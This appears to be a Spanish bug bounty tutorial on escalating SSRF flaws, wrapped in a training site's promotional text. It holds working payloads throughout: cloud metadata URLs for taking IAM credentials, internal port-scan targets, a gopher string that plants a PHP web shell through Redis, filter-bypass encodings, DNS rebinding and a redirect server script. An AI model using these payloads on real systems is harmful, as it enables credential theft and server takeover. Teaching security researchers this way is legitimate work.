La comunidad
Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.
Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.
Aprende a escalar vulnerabilidades SSRF desde una severidad baja hasta un impacto crítico. Técnicas de explotación, bypass de filtros y cadenas de ataque en entornos cloud.
BBLabs
Security Researcher
Deja de leer sobre bugs y empieza a cazarlos
Sin tarjeta · Academy gratis · cancela cuando quieras
Server-Side Request Forgery (SSRF) es una vulnerabilidad que permite a un atacante hacer que el servidor realice peticiones HTTP a destinos arbitrarios. En lugar de atacar directamente, usas el servidor como proxy para acceder a recursos internos a los que no tendrías acceso desde el exterior.
Atacante → Servidor vulnerable → Red interna / Servicios cloud
Muchos programas de bug bounty clasifican un SSRF básico como severidad baja (P4) porque:
Pero la realidad es que SSRF es una de las vulnerabilidades con mayor potencial de escalada si sabes cómo explotarla.
# Funcionalidades típicas vulnerables a SSRF:
- Importar imagen desde URL
- Preview de enlaces / link unfurling
- Webhooks configurables
- Exportar página como PDF
- Integraciones con servicios externos
- Proxies de API
- Parsers de XML (también XXE → SSRF)
Esta es la escalada más clásica y más peligrosa. Si la aplicación corre en AWS, GCP o Azure, puedes acceder al servicio de metadata de la instancia:
# Endpoint de metadata de AWS EC2
http://169.254.169.254/latest/meta-data/
# Obtener credenciales temporales de IAM
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# La respuesta incluye:
{
"AccessKeyId": "ASIAXXX...",
"SecretAccessKey": "xxx...",
"Token": "xxx...",
"Expiration": "2026-01-15T12:00:00Z"
}
Con estas credenciales puedes acceder a S3, bases de datos, y potencialmente comprometer toda la infraestructura cloud de la empresa. Esto convierte un P4 en Critical instantáneamente.
# Google Cloud metadata
http://metadata.google.internal/computeMetadata/v1/
# Requiere header: Metadata-Flavor: Google
# Obtener token de acceso
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure Instance Metadata Service
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Requiere header: Metadata: true
# Obtener token de acceso
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Usa el SSRF para mapear la red interna:
# Probar puertos comunes en rangos internos
http://10.0.0.1:80
http://10.0.0.1:8080
http://10.0.0.1:3306 # MySQL
http://10.0.0.1:6379 # Redis
http://10.0.0.1:9200 # Elasticsearch
http://10.0.0.1:27017 # MongoDB
http://192.168.1.1:8443 # Panel de admin
http://172.16.0.1:9090 # Prometheus
Si descubres un servicio interno sin autenticación (Redis, Elasticsearch, etc.), el impacto puede ser muy alto.
SSRF se vuelve especialmente peligroso cuando lo combinas con otras vulnerabilidades:
Si encuentras un Redis interno sin autenticación:
# Usando el protocolo gopher para enviar comandos a Redis
gopher://10.0.0.1:6379/_SET%20shell%20%22<%3Fphp%20system(%24_GET['cmd'])%3B%20%3F>%22%0ACONFIG%20SET%20dir%20/var/www/html%0ACONFIG%20SET%20dbfilename%20shell.php%0ASAVE
Si descubres un panel de administración interno:
http://10.0.0.1:8080/admin/
http://internal-jenkins.target.local:8080/
http://internal-grafana.target.local:3000/
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Los desarrolladores intentan bloquear SSRF con listas negras, pero hay muchas formas de evadirlas:
# Representaciones alternativas de 127.0.0.1
http://127.1/
http://0x7f000001/
http://2130706433/ # Decimal
http://0177.0.0.1/ # Octal
http://[::1]/ # IPv6
http://127.000.000.001/ # Con ceros
http://0/ # Puede resolver a localhost
# Representaciones alternativas
http://[::ffff:169.254.169.254]/
http://0xa9fea9fe/ # Hexadecimal
http://2852039166/ # Decimal
http://169.254.169.254.nip.io/ # DNS rebinding
Configura un dominio que resuelva alternativamente a tu IP y a una IP interna:
1. Primera resolución: tu-dominio.com → IP pública (pasa la validación)
2. Segunda resolución: tu-dominio.com → 169.254.169.254 (accede al metadata)
Herramientas como rbndr o servicios como rebind.it facilitan este ataque.
# Si solo bloquean http/https
file:///etc/passwd
dict://internal-host:11211/stat
gopher://internal-host:6379/_INFO
ftp://internal-host/
Si la aplicación sigue redirecciones, puedes servir un redirect desde tu servidor:
# redirect.py - Servidor que redirige a metadata
from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
self.end_headers()
HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
Si no puedes ver la respuesta del servidor, aún puedes:
# Usar interact.sh para detectar blind SSRF
interactsh-client
# Luego usar la URL generada como destino del SSRF
http://abc123.interact.sh
Título: SSRF en [funcionalidad] permite acceder a credenciales IAM de AWS
Impacto: Un atacante puede obtener credenciales temporales de AWS con permisos
de [listar roles afectados]. Esto permite acceder a [S3 buckets, bases de datos,
etc.] comprometiendo datos de [X usuarios/clientes].
Pasos:
1. Ir a [funcionalidad vulnerable]
2. Interceptar la petición con Burp
3. Cambiar el parámetro URL a: http://169.254.169.254/latest/meta-data/iam/security-credentials/
4. Observar el nombre del rol en la respuesta
5. Repetir con: http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE_NAME]
6. Obtener AccessKeyId, SecretAccessKey y Token
7. Verificar acceso: aws sts get-caller-identity --profile stolen
SSRF es la vulnerabilidad con mayor potencial de escalada en el arsenal de un bug bounty hunter. Lo que parece un simple "el servidor hace una petición" puede convertirse en un acceso completo a la infraestructura cloud de una empresa. La clave está en no conformarse con demostrar el SSRF básico: siempre intenta escalar al metadata de cloud, escanear la red interna y encadenar con otras vulnerabilidades. Un SSRF bien escalado puede valer decenas de miles de dólares en programas de bug bounty.
hunters entrenando
labs de hackeos reales
completaciones
pagados por estos bugs
Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.
Sin tarjeta · Academy gratis · cancela cuando quieras
Aprende a identificar y explotar vulnerabilidades IDOR (Insecure Direct Object Reference) en aplicaciones web. Desde los conceptos básicos hasta la escritura de reportes efectivos.
Explora las técnicas más comunes para atacar implementaciones inseguras de JSON Web Tokens: desde el algoritmo none hasta inyección de JKU/JWK.
Guía de Google Dorks para bug bounty: qué son, los operadores (site:, inurl:, intitle:, filetype:, ext:, intext:), ejemplos listos para exposición de info, paneles, archivos sensibles y subdominios, uso ético dentro del scope y cómo encajan en tu recon.